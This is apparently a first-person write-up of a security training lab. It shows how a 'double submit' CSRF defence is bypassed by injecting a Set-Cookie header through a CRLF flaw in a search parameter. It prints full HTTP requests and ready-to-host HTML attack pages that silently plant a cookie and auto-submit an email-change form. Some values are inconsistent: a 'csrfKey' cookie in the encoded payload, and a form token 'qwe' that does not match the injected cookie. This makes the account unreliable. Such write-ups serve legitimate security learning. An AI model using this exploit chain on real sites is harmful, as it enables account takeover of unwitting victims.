CSRF where token is duplicated in cookie
Description
This lab's email change functionality is vulnerable to CSRF. It attempts to use the insecure "double submit" CSRF prevention technique.
To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer's email address.
You can log in to your own account using the following credentials: wiener:peter
Approach
After logging in as wiener
, I intercepted the request to change the email address:
POST /my-account/change-email HTTP/2
Host: 0a72009d046c10ce806467d50060006d.web-security-academy.net
Cookie: session=C4oihOH4FdSdCK2aZ2MrdT3exaFfKPwg; csrf=Bu1ficg7Y5nkLuU4lclyYu4MqmKhtuPX
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0
...
email=qweqqwe%40qwe.com&csrf=Bu1ficg7Y5nkLuU4lclyYu4MqmKhtuPX
I noticed that the CSRF token is duplicated in a cookie, a defense mechanism known as "double submit" CSRF protection. In this method, the application verifies that the token submitted in the request parameter matches the value in the cookie.
To test this, I crafted a custom CSRF token and passed it in both the CSRF cookie and the token parameter:
POST /my-account/change-email HTTP/2
Host: 0a72009d046c10ce806467d50060006d.web-security-academy.net
Cookie: session=C4oihOH4FdSdCK2aZ2MrdT3exaFfKPwg; csrf=ichyaboy
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0
...
email=qweqqwe%40qwe.com&csrf=ichyaboy
The request was successful, confirming that the application only checks if the CSRF token in the parameter matches the one in the cookie.
I then built an initial CSRF PoC using Burp Suite Professional's Engagement tools:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://0a72009d046c10ce806467d50060006d.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="qweqqwe@qwe.com" />
<input type="hidden" name="csrf" value="ichyaboy" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
This PoC alone wasn't enough because the csrf
cookie wasn't set in the victim's browser. I needed a way to set this cookie.
While navigating through requests in Burp Suite, I found that input passed to the search parameter at /search
was reflected in the Set-Cookie
header:
GET /?search=ichyaboy1 HTTP/2
Host: 0a72009d046c10ce806467d50060006d.web-security-academy.net
Cookie: session=C4oihOH4FdSdCK2aZ2MrdT3exaFfKPwg; csrf=ichyaboy; LastSearchTerm=ichyaboy
...
Response:
HTTP/2 200 OK
Set-Cookie: LastSearchTerm=ichyaboy1 Secure; HttpOnly
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 3474
I could inject into this header to set the necessary `csrf cookie:
ichyaboy1
Set-Cookie: csrf=ichyaboy; SameSite=None
URL-encoded payload:
ichyaboy1%0d%0aSet-Cookie:%20csrfKey=ZzlAQROeZCfpgo925vKYiIhJesB22YVX%3b%20SameSite=None
Combining the header injection and the CSRF form submission, I created the following final PoC:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://0a72009d046c10ce806467d50060006d.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="qweqqwe@qwe.com" />
<input type="hidden" name="csrf" value="qwe" />
<input type="submit" value="Submit request" />
</form>
<img src="https://0a72009d046c10ce806467d50060006d.web-security-academy.net/?search=ichyaboy1%0d%0aSet-Cookie:%20csrf=ichyaboy%3b%20SameSite=None" onerror="document.forms[0].submit()">
</body>
</html>
When the victim visits this malicious HTML page, their browser attempts to fetch the image, which triggers the injection to set the csrf
cookie. Upon failing to load the image, the onerror
event handler submits the form, exploiting the CSRF vulnerability.
I modified the email value to avoid errors related to reused email addresses. After placing the CSRF PoC on my malicious page and delivering it to the victim, the lab was solved, confirming the successful email change.